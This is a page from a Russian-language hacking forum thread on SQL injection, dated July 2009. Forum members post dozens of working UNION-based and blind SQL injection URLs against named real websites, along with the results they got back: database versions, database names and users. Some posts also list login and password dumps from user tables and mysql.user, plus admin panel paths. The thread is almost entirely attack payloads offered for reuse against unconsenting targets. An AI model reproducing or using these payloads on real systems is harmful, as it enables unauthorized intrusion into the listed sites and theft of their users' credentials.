SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. mr.gr33n

    mr.gr33n Banned

    Joined:
    6 Jul 2009
    Messages:
    47
    Likes Received:
    68
    Reputations:
    6
    Code:
    З.ы, стоит всем посмотреть какой тут пароль xDD
    http://www.consultunion.ru/news.php?id=-7+union+select+1,2,3,4,concat(login,0x3a,pass),6,7+from+accounts--
    
    Code:
    http://www.magry.ru/news.php?id=-7+union+select+concat(login,0x3a,pass)+from+users--
    
    Code:
    http://www.taktika-irk.ru/news.php?id=-7+union+select+1,concat(Name,0x3a,Pass),3,4+from+user--
    
    Code:
    http://www.pavsekakii.ru/news.php?page=1&id=-7+union+select+1,concat(version(),0x3a,user(),0x3a,database())--
    надоели всякие гороскопы )))
    
    Code:
    http://banzay-kazan.ru/news.php?id=-7+union+select+1,concat(login,0x3a,psw),3,4,5,6,7+from+login--
    
    Code:
    http://sib-usadba.ru/news.php?id=-7+union+select+1,2,3,concat(username,0x3a,password),5,6+from+jos_users--
    
    Code:
    http://autosklad35.ru/news/news.php?id=-7+union+select+1,2,3,concat(login,0x3a,pass),5+from+shops--
    
    Code:
    http://ocenshik.mostpp.ru/news.php?id=-7+union+select+1,2,3,4,concat(user,0x3a,password),6,7,8+from+mysql.user--
    [COLOR=Lime][B][email protected][/B][/COLOR]:[COLOR=Red][B]4.0.27[/B][/COLOR]
    
    Code:
    http://fibroblok.ru/cms-news.php?mode=view_news&id=-7+union+select+1,concat_ws(0x3a,version(),user()),3,4,5,6--
    
    Code:
    http://www.pilorama.ru/news.php?id=-7+union+select+1,2,3,concat_ws(0x3a,user(),version()),5,6,7--
    
    Code:
    http://www.terta-avangard.ru/news.php?id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6,7,8--
    
    Code:
    http://reklamagoroda.ru/news.php?id=-7+union+select+1,concat(username,0x3a,password),3,4,5,6,7+from+rbg_users--
    [B]http://reklamagoroda.ru/admin/[/B]
    
    Code:
    http://www.sibezrcs.ru/articles.php?id=-7+union+select+1,concat_ws(0x3a,user(),version()),3,4,5,6,7,8,9,0,1--
    
     
    #10181 mr.gr33n, 26 Jul 2009
    Last edited: 26 Jul 2009
    2 people like this.
  2. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.semsk.kz/newscat.php?id=-7+union+select+concat_ws(0x3a,database(),version(),user())--
    
    semsk_main:5.0.45:semsk_main@localhost


    Code:
    http://www.designershoes.name/gucci-sneakers-trainers.php?id=-357+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5--
    
    shoes:4.0.27-log:designer@localhost
     
    3 people like this.
  3. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    Blind SQL-inj

    [PR: 5]

    http://www.iso.ru/cgi-bin/main/reports.cgi?what=rep&id=35+and+substring(version(),1,1)=3

    User: root@localhost
    Version: 3.23.41
    DB: iso_new
     
  4. dr.Pilulkin

    dr.Pilulkin Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    42
    Likes Received:
    16
    Reputations:
    0
    http://www.wrightbalance.com/tips/index.php?article=-88+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7--

    mindun2_mindun2@localhost:5.0.67-community:mindun2_MUP
    mindun2_MUP:User:password
    mindun2_MUP:phplist_admin:password
    mindun2_MUP:phplist_user_user:password
    =========
    http://www.stewartscannock.co.uk/print.php?nid=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user(),version(),database()),11,12,13,14,15,16,17,18,19--

    stewarts@localhost:4.0.27-standard:stewartscannock_co_uk
    =========
    http://www.flevolandsebeamerverhuur.nl/print.php?op=printapage&pageid=-7+union+select+1,2,database(),4,5--

    flbeve@localhost:5.0.51a-12-log:flbeve
    flbeve:net_aid:pwd
    =======
    http://www.nregion.com/print.php?i=-5518+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9--

    [email protected]:5.1.30:wwwnregioncom
    =======
    http://www.segodnia.ru/print.php?s=0&n=-7526+union+select+concat_ws(0x3a,user(),version(),database()),2,3,4,5--

    sega@localhost:5.1.22-rc:sedoy
    =======
    http://www.apn-nn.ru/print.php?typ=pub&id=-777+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5--

    apnnn@localhost:5.0.70-log:apnnn
    apn_nn:usr:pass
    kislovsky:usr:pass
     
    1 person likes this.
  5. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    http://www.1989history.eu/view_project.php?id=-70+union+select+1,2,3,4,5,6,7--

    Database Version: 4.1.22-standard
    Database name: eu1989_eustory
    User name: eu1989_eu1989@localhost



    http://www.smdailyjournal.com/article_preview.php?id=-66988+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

    Database Version: 4.0.25
    Database name: smdaily2
    User name: smdaily2@localhost
     
    #10185 Amoura, 27 Jul 2009
    Last edited: 27 Jul 2009
    1 person likes this.
  6. +++AndreyDevil+++

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    http://tjnm.tsnm.org/tjnm/content.php?id=LTEnIHVuaW9uIHNlbGVjdCAxLDIsdmVyc2lvbigpLDQsdXNlcigpLDYsNyw4LS0g

    5.0.67-community
    tsnm_user@localhost
    tsnm_dergi
     
  7. mr.gr33n

    mr.gr33n Banned

    Joined:
    6 Jul 2009
    Messages:
    47
    Likes Received:
    68
    Reputations:
    6
    Не много от меня =))

    Code:
    http://zolrus.ru/articles.php?id=-7+union+select+1,2,3,4,5,6,7,8,9,10,1,2,concat_ws(0x3a,user(),version()),4,5--
    [B]http://zolrus.ru/admin/[/B]
    
    Code:
    [B]PR:3 ТИЦ:300[/B]
    http://www.dicom.spb.ru/tech/articles.php?id=-7+union+select+1,2,3,concat_ws(0x3a,user(),version()),5,6,7,8,9,0,1--
    dicom_[B]root[/B]@localhost:4.1.22-standard
    
    Code:
    http://fengshuiyar.ru/articles.php?id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4,5--
    
    Code:
    http://www.nomadic.ru/articles.php?P=SA&ID=-7+union+select+concat_ws(0x3a,user(),version())--
    
    Code:
    http://infosfera.sfo.ru/a/articles.php?cat_id=20&id=7+union+select+1,2,3,4,concat_ws(0x3a,username,user_password),6,7,8,9+from+phpbb_users--
    http://infosfera.sfo.ru/a/forum/
    
    Code:
    http://www.eagleye.ru/articles.php?id=-7+union+select+1,concat_ws(0x3a,user(),version()),3,4,5--
    
    Code:
    http://www.petrotent.ru/articles.php?id=-7+union+select+1,concat_ws(0x3a,login,pass),3,4+from+users+limit+1,1--
    
    Code:
    http://www.nk-life.ru/articles.php?id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4,5--
    
    Code:
    http://sap-design.ru/cms-articles.php?id=-7+union+select+1,concat_ws(0x3a,user(),version()),3,4,5,6,7,8--
    
    Code:
    http://www.dubovieizdeli.ru/articles.php?id=-7+union+select+concat_ws(0x3a,user(),version()),2--
    http://www.dubovieizdeli.ru/admin/ - пароль всеравно не нужен ;)
    
    Code:
    http://inforient.ru/articles/articles.php?id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4,5--
    
    Code:
    http://billiard4u.ru/article/article.php?id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6--
    
    Code:
    http://www.ramld.ru/articles/article.php?id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6,7--
    
    Code:
    http://vniispk.ru/news/konferenciya_2008/article.php?id=-7+union+select+1,2,3,4,5,concat_ws(0x3a,user(),version()),7,8--
    
    Code:
    http://www.laundrypro.ru/article.php?id=-7+union+select+1,concat_ws(0x3a,user(),version()),3,4,5,6--
    
    Code:
    http://isakanov.ru/article.php?id=-7+union+select+concat_ws(0x3a,user(),version()),2,3,4,5,6--
    
    Code:
    http://www.laptev-strongman.ru/article/article.php?id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6,7,8,9,10--
    
    Code:
    http://encycl.anthropology.ru/article.php?id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6,7,8,9,0--
    [B]PR:6[/B]
    
    Code:
    http://www.muscul.ru/article.php?id=-7+union+select+1,2,3,concat_ws(0x3a,user(),version()),5--
    
    Code:
    контора по созданию бажных сайтов xD
    http://www.it-brains.ru/article.php?id=-7+union+select+1,concat_ws(0x3a,user(),version()),3,4--
    
    Code:
    http://www.artcredo.ru/article.php?id=-9+union+select+1,concat_ws(0x3a,user(),version()),3,4--
    
    Code:
    Магазин мобилок
    http://www.mclub.ru/article.php?id=-7+union+select+1,concat_ws(0x3a,user(),version()),3--
    
    Code:
    http://photo-sochi.ru/article.php?id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4--
    
    Code:
    http://www.pogoda812.ru/article.php?id=-7+union+select+1,concat_ws(0x3a,user(),version()),3--
    
    Code:
    http://newcharmed.ru/article.php?id=-7+union+select+1,concat_ws(0x3a,username,password)+from+users--
    з.ы. хешики смотрим в самом низу ;)
    
    Code:
    http://www.bsv999.ru/article.php?id=-7+union+select+1,2,concat_ws(0x3a,user,pass)+from+users--
    сайт супер-мего-кодера xD
    
    Code:
    http://www.msynt.ru/article.php?id=-7+union+select+concat_ws(0x3a,username,user_password)+from+forum_users+limit+1,1--
    http://www.msynt.ru/forum/    - phpbb3
    
    Code:
    http://www.microcod-a.ru/article.php?id=-7+union+select+concat_ws(0x3a,user(),version()),2--
    
    Code:
    http://www.molodoi-gazeta.ru/article.php?table=left_news&id=-7+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6--
    
     
    #10187 mr.gr33n, 27 Jul 2009
    Last edited: 27 Jul 2009
    1 person likes this.
  8. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Database Version: 5.0.45-Debian_1ubuntu3.3-log
    Database name: visagefilms
    User name: wwwuser@localhost
     
  9. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    HTML:
    http://www.concerts4u.at/cd_berichte.php?id=-6+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--
    5.0.32-Debian_7etch10-log:concerts4u_at:concerts4u@localhost

    HTML:
    http://www.homeidei.ru/index.php?link=9&id=-999+union+select+concat_ws(0x3a,version(),database(),user()),2,3--
    5.0.81-community:b783_homeidei:b783_homeidea@localhost

    HTML:
    http://czn.nnov.ru/?doc=6&id=-6+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8--
    5.0.51a:cznnnovru:cznnnovru@localhost

    HTML:
    http://beauty_land.nskfitness.ru/print.php?id=-999+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11--
    5.0.67:sibdetiru_nskfit:[email protected]
     
  10. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.good-result.com/market/firma.php?id=1'+and+substring(version(),1,1)=5/*

    ####################################
    давно unhex(hex()) не видел =)

    http://www.leto-shop.ru/good.php?id=-1+union+select+1,unhex(hex(concat_Ws(0x3a,user(),database(),version()))),3,4,5,6,7,8,9,10,11,12,13--

    leto_shop_ru@localhost:leto_shop_ru:4.1.14
     
    _________________________
    #10190 HAXTA4OK, 27 Jul 2009
    Last edited by a moderator: 27 Jul 2009
    1 person likes this.
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ТИЦ: 450
    PR: 5

    http://ktv.ru/tv_channels.php?id=1'+and+substring(version(),1,1)=5+--+

    ####################################
    PR 4

    http://www.vasarok.lt/index.php?id=1+and+substring(version(),1,1)=4
     
    _________________________
    #10191 HAXTA4OK, 27 Jul 2009
    Last edited: 27 Jul 2009
    2 people like this.
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.indiegamemusic.com/viewtrack.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*
    Code:
    [email protected]:sirlou_indiegamemusic:4.1.21-log
     
  13. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 5

    http://www.gxt.it/footer_pagina.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version())--

    [email protected]:gxt:5.1.24-rc-log
     
    _________________________
  14. hatamahata

    hatamahata Member

    Joined:
    10 Jun 2009
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    HTML:
    http://www.videoneurosurgery.com/video.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database%20(),user()),7,8,9,10,11,12,13--
    4.1.23-pro-gpl-log:videoneurosurgery_com_regolo:[email protected]

    HTML:
    http://b10r.com/index.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),%20database(),user()),4,5--
    5.0.32-Debian_7etch10-log:b10r_com:[email protected]
     
    #10194 hatamahata, 28 Jul 2009
    Last edited: 28 Jul 2009
    1 person likes this.
  15. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    http://chudo.tomsk.ru/?page=deti&id=-256+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11+--+

    Извините уж :(
     
    1 person likes this.
  16. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    HTML:
    http://www.luxuryyachts.ru/catalogue.shtml?id=-99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat_ws(0x3a,cast(version()+as+binary),cast(database()+as+binary),cast(user()+as+binary))--
    4.1.14-standard:aitsru:technos@localhost

    HTML:
    http://www.x-club64.ru/catalog/objects/?id=-5+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6--
    5.0.45-log:studa1007_mdom:[email protected]

    HTML:
    http://www.iluba.ru/info.php?ID=-9999+union+select+1,concat_ws(0x3a,version(),database(),user()),3--
    5.0.67:ilubaru:[email protected]
     
    1 person likes this.
  17. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://ww.talas-m.ru/info.php?id=-1+union+select+1,2,concat_Ws(0x3a,user(),database(),version()),4+--&t=resort

    [email protected]:wwwtalasmru:4.0.26
     
    _________________________
  18. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 4]
    Code:
    http://www.fullsecurity.be/en/article.php?id=-41+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12--
    5.0.45-community:fullsecu:fullsecu@localhost
    ======================================
    [PR 4]
    Code:
    http://www.davincijobs.com/news/display_article.php?id=-12+union+select+1,2,3,4,5,unhex(hex(concat_ws(0x3a,version(),database(),user())))
    5.0.16:davincinew:davinci1452@localhost
    Code:
    http://www.davincijobs.com/news/display_article.php?id=-12+union+select+1,2,3,4,5,unhex(hex(concat_ws(0x3a,user,password,file_priv)))+from+mysql.user
    ======================================
    [PR 3]
    Code:
    http://www.kkl.be/article.php?id=-10+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4
    5.0.68-log:kklbebase1:[email protected]
    ======================================
    [PR 3]
    Code:
    http://www.aspnettoyage.be/article.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14--
    5.0.45-community:aspnetto:aspnetto@localhost
    ======================================
    [PR 2]
    Code:
    http://www.liebe-zu-ihm.be/article.php?id=-388+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19
    4.1.22-standard:liebezu_Christo:liebezu_guest@localhost
    ======================================
    [PR 1]
    Code:
    http://tanleminh-craft.com/ListProducts.php?ID=-9+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12,13,14,15--
    4.1.22-standard:tanlemin_:tanlemin_@localhost
    ======================================
    [PR 1]
    Code:
    http://be-ecotherm.com/article.php?id=-2+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9
    5.0.45-Debian_1ubuntu3.3:beecotherm_db:root@localhost
     
  19. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    5.0.45.
    mediafm@localhost
    mediafm
     
  20. Explоit

    Explоit Banned

    Joined:
    21 Jul 2009
    Messages:
    19
    Likes Received:
    0
    Reputations:
    0
    [PR 3]

    Code:
    http://www.pihtipudas.net/kuntositi/sivu.php?ID=-11+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,11,12,13,14,15,16,17,18,19,20,21,22--
    user() [email protected]
    database() pihtipudas
    version() 4.1.22-standard-log :mad:
     
    #10200 Explоit, 29 Jul 2009
    Last edited: 29 Jul 2009
Thread Status:
Not open for further replies.